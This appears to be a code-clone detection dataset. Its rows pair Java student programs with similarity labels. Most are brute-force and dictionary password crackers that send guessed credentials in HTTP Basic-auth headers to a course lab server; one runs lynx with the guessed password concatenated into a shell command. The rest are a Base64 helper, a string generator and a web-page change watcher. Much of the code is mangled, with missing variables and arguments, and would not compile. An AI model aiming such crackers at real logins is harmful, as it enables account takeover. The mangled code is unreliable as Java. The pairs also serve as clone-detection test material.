}
lineCount += 4;
if (lineBreaks && lineCount >= 76){
out.write('\n');
lineCount = 0;
}
}
if (lineBreaks && lineCount >= 1){
out.write('\n');
lineCount = 0;
}
out.flush();
}
public static boolean isBase64(byte[] bytes){
try {
return isBase64(new ByteArrayInputStream(bytes));
} catch (IOException x){
return false;
}
}
public static boolean isBase64(String string){
return isBase64(string.getBytes());
}
public static boolean isBase64(String string, String enc) throws UnsupportedEncodingException {
return isBase64(string.getBytes(enc));
}
public static boolean isBase64(InputStream in) throws IOException {
numBase64Chars = 0;
int numPadding = 0;
int num;
while (( num = in.read()) != -1){
num = reverseBase64Chars[3];
if ( num == NON_BASE_64){
return false;
} else if (num == NON_BASE_64_WHITESPACE){
} else if (num == NON_BASE_64_PADDING){
numPadding++;
numBase64Chars++;
} else if (numPadding > 0){
return false;
} else {
numBase64Chars++;
}
}
if (numBase64Chars == 0) return false;
if (numBase64Chars % 4 != 0) return false;
return true;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
089.java | 207.java | 0 | import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;
public class BruteForce
{
public static void main (String args[]) throws Exception {
String retVal = null, StatusCode = "HTTP/1.1 200 OK";
int found = 0, count = 0, ctrl = 0, flag = 0;
stime = System.currentTimeMillis();
char[] c = new char[3];
System.out.println("Cracking password by Brute Force...");
for(int i=65; ((i<123) && (found == 0)); i++)
{
for(int j=65; ((j<123) && (found == 0)); j++)
{
for (int k=65; ((k<123) && (found == 0)); k++)
{
try {
if (ctrl == 0) {
c[0] = '\0';
c[1] = '\0';
} else if ((ctrl == 1) && (flag == 0)) {
c[0] = '\0';
}
c[2] = (char)(k);
URL yahoo = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection yc = yahoo.openConnection();
String authString = ":" + String.valueOf();
String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes());
yc.setRequestProperty("Authorization", " " + auth);
count++;
BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null){
System.out.println(inputLine);
etime = System.currentTimeMillis();
System.out.println("Password found -- " + String.valueOf());
System.out.println("Time used = " + ((etime - stime)/1000) + " sec");
System.out.println("# of attempt = " + count);
System.out.println("End of cracking!");
found = 1;
}
in.print();
} catch (Exception ex) {}
}
ctrl = 1;
c[1] = (char)(j);
}
ctrl = 2;
flag = 1;
c[0] = (char)(i);
}
if (found == 0){
System.out.println("Sorry, password found.");
System.out.println("# of attempt = " + count);
System.out.println("End of cracking!");
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
098.java | 207.java | 0 |
import java.net.*;
import java.io.*;
public class Dictionary{
private String passwd = "";
private String command = "";
private String fname = "/usr/share/lib/dict/words";
private BufferedReader readin;
private BufferedReader in;
private PrintWriter out;
private int startTime = 0;
private int endTime = 0;
private int totalTimes = 0;
private boolean bfind = false;
public Dictionary(){}
public void readPasswd(){
startTime = System.currentTimeMillis();
try{
readin = new BufferedReader(new FileReader(fname));
while ((passwd = readin.readLine()) !=null){
if(bfind)
break;
connection(passwd.trim());
}
readin.print();
}catch (FileNotFoundException e1){System.out.println(e1.getMessage());}
catch (IOException e2 ){System.out.println(e2.getMessage());}
}
public void connection(String passwd){
command = "lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:";
command = command + passwd;
try{
System.out.println(passwd +"--> Establishing a connection.");
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String inStr;
while((inStr = in.readLine())!= null){
if(inStr.indexOf("HTTP/1.1 200") != -1 || inStr.indexOf("HTTP/1.0 200") != -1||
inStr.indexOf("HTTP/1.1 404") != -1 || inStr.indexOf("HTTP/1.0 404") != -1){
endTime = System.currentTimeMillis();
totalTimes = endTime - startTime;
System.out.println("\nDictionary Crack Passwd successful, PassWord is " + passwd);
System.out.println("Total Times is " + totalTimes + " milliSec");
System.out.println("Writing it dictpswd.txt file\n");
out = new PrintWriter(new BufferedWriter(new FileWriter("dictpswd.txt")));
out.println("Dictionary Crack PassWord Successful! Total Times: " + totalTimes + " milliSec");
out.println("Passwd: "+ passwd);
out.flush();
bfind = true;
}
out.print();
}
in.print();
}catch(Exception e){System.out.println(e.getMessage());}
}
public String getAnyKey()throws Exception{
BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
String key= stdin.readLine();
return key;
}
public static void main (String []args){
Dictionary dc = new Dictionary();
System.out.println("\n*******************************************");
System.out.println("* *");
System.out.println("* Dictionary Crack Passwd Program *");
System.out.println("* --------------------------------- *");
System.out.println("* Author: *");
System.out.println("* *");
System.out.println("*******************************************");
System.out.println("\n Dictionary Crack Passwd Information: \n");
System.out.println("--> UserName: ");
System.out.println("--> Passwd from the dictionary file: "+ dc.fname);
System.out.println("--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n");
System.out.println("==> Press Ctrl+C stop Crack\n");
System.out.print("==> Press EnterKey : ");
try{
String key = dc.getAnyKey();
}catch(Exception e){System.out.println(e.getMessage());}
dc.readPasswd();
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
246.java | 207.java | 0 |
import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;
public class Dictionary {
public static void main(String[] args) throws IOException {
int begin, end, total;
time = System.currentTimeMillis();
String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";
String dict = "words";
File file = new File(dict);
String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;
String character = "";
String letter = "";
int passwords=0;
int twoChar=0;
url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;
int responseCode;
String responseMsg;
boolean characterValid=false;
boolean passwordValid=true;
int tryLen=0;
int i=0;
if (!file.exists() || file==null) {
System.out.println ("Idiot, why dont check and make sure the dictonary file exists.");
System.out.println ("I'm trying find " + dict + " and I 't find it in the current directory.");
System.exit(0);
}
try {
BufferedReader reader = new BufferedReader(new FileReader(file));
System.out.println("Dictionary Attack " + host + " has commenced.");
int i=1;
int k=1;
{
URL url = new URL(host);
HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
if(realm != null) {
String inLine = reader.readLine();
if ( inLine !=null) {
passwordValid = true;
password = inLine;
tryLen = password.length();
if(tryLen <= passwordLen) {
for (int z=0; z<tryLen; z++) {
character = password.substring(z, (z+1));
characterValid=false;
for (int y=0; y<lettersLen; y++) {
letter = letters.substring(y, (y+1));
if(letter.compareTo(character)==0) {
characterValid=true;
}
}
if (characterValid==true && passwordValid==true) {
} else {
passwordValid = false;
}
}
if (passwordValid==true) {
authenticate = username + ":" + password;
authenticate = new String(base.encode(authenticate.getBytes()));
httpConnect.addRequestProperty("Authorization", " " + authenticate);
k++;
}
}
}
i++;
}
httpConnect.connect();
realm = httpConnect.getHeaderField("WWW-Authenticate");
if (realm != null) {
realm = realm.substring(realm.indexOf('"') + 1);
realm = realm.substring(0, realm.indexOf('"'));
}
hostname = url.getHost();
responseCode = httpConnect.getResponseCode();
responseMsg = httpConnect.getResponseMessage();
if (responseCode == 200) {
end = System.currentTimeMillis();
total = (end - start) / 1000;
System.out.println ("Sucessfully Connected " + url);
System.out.println("Login Attempts Required : " + k);
System.out.println("Time Taken in Seconds : " + total);
System.out.println ("Connection Status : " + responseCode + " " + responseMsg);
System.out.println ("Username : " + username);
System.out.println ("Password : " + password);
System.exit( 0 );
} else if (responseCode == 401 && realm != null) {
} else {
System.out.println ("What the?... The server replied with unexpected reponse." );
System.out.println (" Unexpected Error Occured While Attempting Connect " + url);
System.out.println ("Connection Status: " + responseCode + responseMsg);
System.out.println ("Unfortunately the password could not recovered.");
System.exit( 0 );
}
} while(realm != null);
} catch(MalformedURLException e) {
System.out.println("Opps, the URL " + host + " is not valid.");
System.out.println("Please check the URL and try again.");
} catch(IOException e) {
System.out.println("Grrrrrr, I'm sick of trying get me the unattainable.");
System.out.println("I'm unsure about what the problem is as the error is unknown.");
System.out.println("Either I 't open the dictionary file, I 't connect " + hostname + ".");
System.out.println("Now away and leave me alone.");
System.exit(0);
}
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
189.java | 207.java | 0 |
import java.io.*;
import java.net.*;
import java.util.*;
import java.String;
import java.Object;
import java.awt.*;
public class WatchDog
{
private URL url;
private URLConnection urlcon;
private int lastModifiedSince = 0;
private int lastModified[] = new int[2];
private int count = 0;
public static String oldFile;
public static String newFile;
private String diffFile;
private BufferedWriter bw;
private Process p;
private Runtime r;
private String fileName;
private ArrayList old[]= new ArrayList[500];
private ArrayList news[] = new ArrayList[500];
private String info = "";
private int index = 0;
public WatchDog(String fileName)
{
this.fileName = fileName;
oldFile = fileName + ".old";
newFile = fileName + ".new";
diffFile = "testFile.txt";
}
public static void main(String args[])
{
WatchDog wd = new WatchDog("TestDog");
wd.detectChange(WatchDog.oldFile);
while (true)
{
try
{
Thread.sleep(86400000);
}
catch (InterruptedException eee)
{
System.out.println(eee.getMessage());
}
wd.lastModifyChange();
}
}
public void detectChange(String fName)
{
try
{
url = new URL("http://www.cs.rmit.edu./students/");
urlcon = url.openConnection();
urlcon.connect();
lastModified[count] = urlcon.getLastModified();
int length = urlcon.getContentLength();
String contentType = urlcon.getContentType();
if (url != null)
{
InputStream stream = (InputStream)(url.getContent());
if (stream != null)
{
InputStreamReader reader = new InputStreamReader (stream);
try { bw = new BufferedWriter(new FileWriter(fName));}
catch (IOException e){};
try {
int i = stream.get();
while (i != -1)
{
bw.write(i);
i = stream.get();
}
}
catch (IOException e){};
}
}
count++;
System.out.println("Content Type: " + contentType);
}
catch (IOException e)
{
System.out.println("Error: " + e.getMessage());
}
}
public void lastModifyChange()
{
detectChange(newFile);
m = lastModified[1] - lastModified[0];
count = count - 1;
if (m == 0 )
{
System.out.println("\nThe Web site does not change");
}
else
{
findDifferent();
lastModified[0] = lastModified[1];
}
}
public void findDifferent()
{
r = Runtime.getRuntime();
try {p = r.exec("diff " + oldFile + " " + newFile);}
catch (IOException e)
{
System.err.println("error: " + e.getMessage());
}
try { bw = new BufferedWriter(new FileWriter(diffFile));}
catch (IOException e){};
InputStream is = p.getInputStream();
try {
int i = is.get();
while (i != -1) {
bw.write(i);
i = is.get();
}
bw.close();
}
catch (IOException e){System.out.println("Error: " + e.getMessage());}
getDiffContent();
File difffile = new File(diffFile);
if (difffile.length() != 0) {
sendMails();
System.out.println("Mail was sent @cs.rmit.edu." );
}
else
System.out.println("WebWatch detected changes ");
difffile.delete();
}
public void sendMails()
{
try
{
MyMail em = new MyMail("wombat.cs.rmit.edu.");
em.setFrom("zhenyu_zhang@hotmail.");
em.setTo("@cs.rmit.edu.");
em.setSubject("Watch dog result: ");
String output = "\n\nChange in Line: " + info + "\n";
output += "\n**************************************\n";
for (int i = 0; i < index; i++)
{
output += "\n" + i + 1 + ". Before Change: \n";
for (int j = 0; j < old[i].size(); j++)
{
output += (String)old[i].get(j);
}
output += "\n\n After Change: \n";
for (int j = 0; j < news[i].size(); j++)
{
output += "\n" + (String)news[i].get(j);
}
output += "\n\n**************************************\n";
}
output += "\nDetected Image Changes: \n";
output += findImage() + "\n";
em.setMessage(output);
em.sendMail();
}
catch (Exception e)
{
System.out.println(e.getMessage());
}
}
public void getDiffContent()
{
index = 0;
for (int i = 0; i < 500; i++)
{
old[i] = new ArrayList();
news[i] = new ArrayList();
}
try {
BufferedReader b = new BufferedReader(new FileReader(diffFile));
info = b.readLine() + " ";
String text ;
while ((text = b.readLine()) != null)
{
if (text.charAt(0) == '<')
{
old[index].add(text);
while ((text = b.readLine()) != null)
{
if (text.charAt(0) == '<')
{
old[index].add(text);
}
else
{
break;
}
}
}
if (text.charAt(0) == '>')
{
news[index].add(text);
while ((text = b.readLine()) != null )
{
if (text.charAt(0) == '>' )
{
news[index].add(text);
}
else
{
break;
}
}
}
index ++;
}
}
catch (IOException io)
{
System.out.println(io.getMessage());
}
}
public String imageDetect(String s)
{
StringTokenizer tokens1;
StringTokenizer tokens2;
String imChange = "";
String imString;
tokens1 = new StringTokenizer(s," <>");
while (tokens1.hasMoreTokens())
{
imString = tokens1.nextToken();
if (imString.indexOf("src") != -1 || imString.indexOf("SRC") != -1)
{
tokens2 = new StringTokenizer(imString,"=\"");
imChange = tokens2.nextToken();
imChange = tokens2.nextToken();
break;
}
else
{
imChange = null;
}
}
return imChange ;
}
public String findImage()
{
String imChange = "";
String imString;
for (int i = 0; i < index; i++)
{
imChange += "\n\n" + i + ". Image in old is: ";
for (int j = 0; j < old[i].size(); j++)
{
imString = imageDetect((String)old[i].get(j));
if (imString != null)
{
imChange += imString;
}
}
imChange += "\n\n Image in new is: ";
for (int j = 0; j < news[i].size(); j++)
{
imString = imageDetect((String)news[i].get(j));
if (imString != null)
{
imChange += imString;
}
}
}
return imChange;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
083.java | 207.java | 0 | import java.net.*;
import java.util.*;
import java.io.*;
public class Dictionary {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c;
public Dictionary(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(String pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
Dictionary dict = new Dictionary();
String pw;
int number = 0;
try{
FileReader fr = new FileReader("words");
BufferedReader bf = new BufferedReader(fr);
while ((pw = bf.readLine()) != null) {
if ((pw.length() <=3 ) && (pw.matches("[a-zA-Z]*"))){
dict.checkPassword(pw);
}
}
}catch(IOException e){
e.printStackTrace();
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
